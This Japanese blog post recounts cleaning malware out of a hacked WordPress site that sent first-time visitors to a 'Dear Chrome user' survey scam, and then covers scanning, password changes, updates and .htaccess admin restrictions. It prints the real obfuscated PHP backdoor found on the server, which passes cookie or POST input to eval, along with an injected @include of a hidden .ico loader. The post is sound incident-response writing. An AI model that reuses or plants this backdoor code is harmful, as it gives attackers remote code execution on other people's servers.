[wordpress]サイトへの初回訪問時にフィッシング詐欺サイトに遷移されてしまう問題への対処

この記事を書くにあたって

知人のサイトでサイトに訪問すると最初の一回だけ「親愛なChromeユーザー様、、、」というページに遷移される事象が発生。

私自身は遭遇していないので、スクリーンショットなどがないが、確認したところ下記のサイトと同様の事象。

【詐欺警報】「親愛なChromeユーザー様、」は詐欺です。ビジターアンケートに答えた場合どうする?
結構前からですが、サイトにアクセスすると突然以下のような表示が出てくることがあります。 「親愛なChromeユーザー様、あなたは○月~のラッキービジターです。アンケートに答えていただいた方に、「ありが

この事象を解決すべく色々調べたり対応したことを書いていく。

ただある程度対応はできたと思うが、再現性がないため確認のしようがなくて困っている。知人のスマホなどを借りてやってみるしかないので、時間あるときに試してみる。
もしかしたら、下の方に書いている海外からのアクセスを検証するために紹介したサイトを利用すれば再現することができるかもしれない。

調査及び対処

.well-knownフォルダについて

ドメイン直下(自分のサイトの/(ルート)の位置)に置かれている場合がある。URLの意味とは異なり、フォルダ構成上の話。/wordpress/などにwordpressがインストールされていてルートにアクセスするとリダイレクトしているケースなどある。

無料SSLの設定が完了していたら削除して良い。

サイトをSSL化したらwell-knownフォルダが!削除は?Xseverに聞いてみた
サイトをSSL化したら、「well-known」などという見たこともないフォルダができていました!ネット上を見ると、フィッシング詐欺に利用される例もあり、削除方法などについてXseverに聞いてみました。

変な名前のphpファイル

jfxubgqt.phpやkebcwnti.phpなどがサーバーに置かれていたら、ウイルスに感染している。一刻も早く削除をしたほうがいい。

WordPressの復旧作業!改ざん・ハッキング被害の解決法を6つのステップで解説
この記事を書く人と信憑性 家富正幸(いえとみまさゆき) 現役のWordPressエンジニア(エンジニア歴16年…

実際に知り合いのサイトにも存在していました。ありとあらゆるフォルダに毎回名前を変えて存在している。ただ、設置時間が同一なのである程度パターン化してさぐり当てることはできた。

中身は下記。実際のものをコピペ。

<?php /* $grytsi = 'l1cpfgunrd329eoas-vxb\'586m#_t4kH*iy';$exhuvk = Array();$exhuvk[] = $grytsi[31].$grytsi[32];$exhuvk[] = $grytsi[29].$grytsi[10].$grytsi[11].$grytsi[10].$grytsi[24].$grytsi[10].$grytsi[13].$grytsi[4].$grytsi[17].$grytsi[20].$grytsi[22].$grytsi[10].$grytsi[4].$grytsi[17].$grytsi[29].$grytsi[13].$grytsi[10].$grytsi[4].$grytsi[17].$grytsi[23].$grytsi[10].$grytsi[2].$grytsi[9].$grytsi[17].$grytsi[15].$grytsi[2].$grytsi[11].$grytsi[15].$grytsi[23].$grytsi[4].$grytsi[4].$grytsi[29].$grytsi[9].$grytsi[1].$grytsi[12].$grytsi[10];$exhuvk[] = $grytsi[26];$exhuvk[] = $grytsi[2].$grytsi[14].$grytsi[6].$grytsi[7].$grytsi[28];$exhuvk[] = $grytsi[16].$grytsi[28].$grytsi[8].$grytsi[27].$grytsi[8].$grytsi[13].$grytsi[3].$grytsi[13].$grytsi[15].$grytsi[28];$exhuvk[] = $grytsi[13].$grytsi[19].$grytsi[3].$grytsi[0].$grytsi[14].$grytsi[9].$grytsi[13];$exhuvk[] = $grytsi[16].$grytsi[6].$grytsi[20].$grytsi[16].$grytsi[28].$grytsi[8];$exhuvk[] = $grytsi[15].$grytsi[8].$grytsi[8].$grytsi[15].$grytsi[34].$grytsi[27].$grytsi[25].$grytsi[13].$grytsi[8].$grytsi[5].$grytsi[13];$exhuvk[] = $grytsi[16].$grytsi[28].$grytsi[8].$grytsi[0].$grytsi[13].$grytsi[7];$exhuvk[] = $grytsi[3].$grytsi[15].$grytsi[2].$grytsi[30];foreach ($exhuvk[7]($_COOKIE, $_POST) as $cqxfb => $ucwnvu){function bhjhysz($exhuvk, $cqxfb, $bnroqt){return $exhuvk[6]($exhuvk[4]($cqxfb . $exhuvk[1], ($bnroqt / $exhuvk[8]($cqxfb)) + 1), 0, $bnroqt);}function dqfea($exhuvk, $taezz){return @$exhuvk[9]($exhuvk[0], $taezz);}function oyzgqfr($exhuvk, $taezz){$qsejxxw = $exhuvk[3]($taezz) % 3;if (!$qsejxxw) {eval($taezz[1]($taezz[2]));exit();}}$ucwnvu = dqfea($exhuvk, $ucwnvu);oyzgqfr($exhuvk, $exhuvk[5]($exhuvk[2], $ucwnvu ^ bhjhysz($exhuvk, $cqxfb, $exhuvk[8]($ucwnvu))));} */

phpファイル内にある変な記述

下記のような記述が、ndex.phpといういかにも必要そうなファイルでちりばめられたり、wp-config.phpの上部に書き込まれたりしていた。

/*16bd2*/
 @include "\057home\057high\163peed\057publ\151c_ht\155l/*********/w\157rdpr\145ss/w\160-inc\154udes\057.dd7\14429c7\056ico";
/*16bd2*/

十中八九、/home/*********/wordpress/wp-includes/.dd7d29c7.ico を読み込んでいる。FTPで確認したところ存在した。

このファイルを除くと、phpのソースが書かれていた。どうみても通常ではない。

$_lkmijb = basename/pv/(/p3/trim/1x6/(/u4h/preg_replace/34/(/k/rawurldecode/0x6/(/m/"%2F%5C%28.%2A%24%2F"/v/)/y69k/, '', FILE/jtc/)/g//f7159/)/q//nd3/)/lxo9i/;$_5a182 = "12%1E%0C%10%13WDX%09HD******めちゃくちゃ長い解読不能な文字列が続いたので省略*******D%1FJF%15n%19";eval/dn/(/q/rawurldecode/um/(/sgo4j/$_5a182/e/)/0/ ^ substr/47y/(/now1f/str_repeat/y9/(/42yr1/$_lkmijb, /k/(/o83k/strlen/pa/(/w/$_5a182/b/)/imnot//strlen/w/(/453/$_lkmijb/xu/)/mure7//jmunc/)/tdx/ + 1/s/)/7s/, 0, strlen/4qg9/(/yuqw/$_5a182/50h/)/l//c74z3/)/k6//tq/)/z/;
 
//ec073b8f26338767******上記と同様にめちゃくちゃ長い解読不能な文字列が続いたので省略*******f%27%2A%29%2Ct5c%2B%7F%3Div~%22%25sf%3Cr%29%247%3D5hwt5%20%3D%23c%20%20%3Cwe%24a%24i%25%23-.g%27m%7C

この.icoファイルの削除と呼び出しているところの記述を削除。

プラグイン

・変な名前のphpファイル
・phpファイル内にある変な記述

などは、

WP-Doctor Malware Scanner & Security Pro というプラグインが検知することができた。

プラグイン自体は無料。定義ファイルの更新は有料。なので、無料のままだと新しいウイルスには対応できない。個人PC向けのウイルス対策ソフトと同じ仕組み。2019/09/02時点で上記のものは検知されているので、今の所は無料版でしのいでもらっている。

メニューにMalware scanが表示される。今すぐスキャン開始のボタンをクリックすると始まる。終了すると、同じ画面の下に結果が表示される。

悪意のあるファイルの可能性がある場合は、Malware scanに該当部分が表示され、その場でファイルの削除や編集することができるようになっている。これがすごく便利だった。

ワードプレス マルウェアスキャナ & セキュリティープラグイン

他のプラグイン

いくつか試したが、日本語でわかりやすかったのでこちらをチョイスした。だが、DBに保存されている値までは調査してくれないので、そういったプラグインの選定も必要。

根本原因への対応

どうやってファイルの改ざんや新しいファイルを作成したりしたか不明だが、できることはやった方がいいということで下記の対応をした。

各種パスワードの変更

・疑いのあるサーバーの管理画面のログインパスワード(ブラウザから入れるようなもの)
・FTPのログインパスワード(複数のアカウントがあったので全て変更)
・WordPressのログインパスワード(サーバーで管理している全てのWordPress)

WordPressのバージョン更新

まずはバックアップを取得。
WordPressの管理画面からバージョンアップをした。5.1.2から5.2.3へバージョンアップ。
動作確認をして問題なかった。

テーマの整理

・不要なテーマの削除
 WordPressに初期で入っているTwenty Seventeenとか、試しにインストールしたテーマなど
・利用しているテーマの更新
 まずはバックアップ。
 カスタマイズしていたので、親テーマの更新を行った。子テーマは何もなかったので、そのまま動作確認をした。

各種管理画面の海外からのアクセス拒否

サーバー運営会社に問い合わせをして、方法を聞いた。

以前に海外アクセスからを防ぐためのホワイトリストを作成してもらったので、下記のように書くように促された。なので、海外からのアクセスを防ぐというより、日本からのアクセスを許可するというような記述になっている。
Allow fromが3000行~4000行ある感じ。

<FilesMatch "wp-login.php|wp-admin">
  Order deny, allow
  Deny from all
  Allow from xxx.xxx.xxx.xxx
</FilesMatch>

下記のサイトで海外からのアクセスの確認をすることができると教えてもらったが、SSL化されているサイト(https://~)は有料とのことなので、自分でググることに。。。

Anonymouse.org
Anonymouse

このサイトを見つけた。上記サイトより全然高機能かつ無料。

トップページ(https://ドメイン/)と管理画面のサイト(https://ドメイン/wp-login.phpとhttps://ドメイン/wp-admin)のURLを入力し、通常のサイトはページが表示され、管理画面の方は403エラーが表示される。

Browserling – Online cross-browser testing
Try for free now! Cross browser test your websites online in all web browsers – Internet Explorer, Edge, Chrome, Safari, Firefox, and Opera.

コメント

タイトルとURLをコピーしました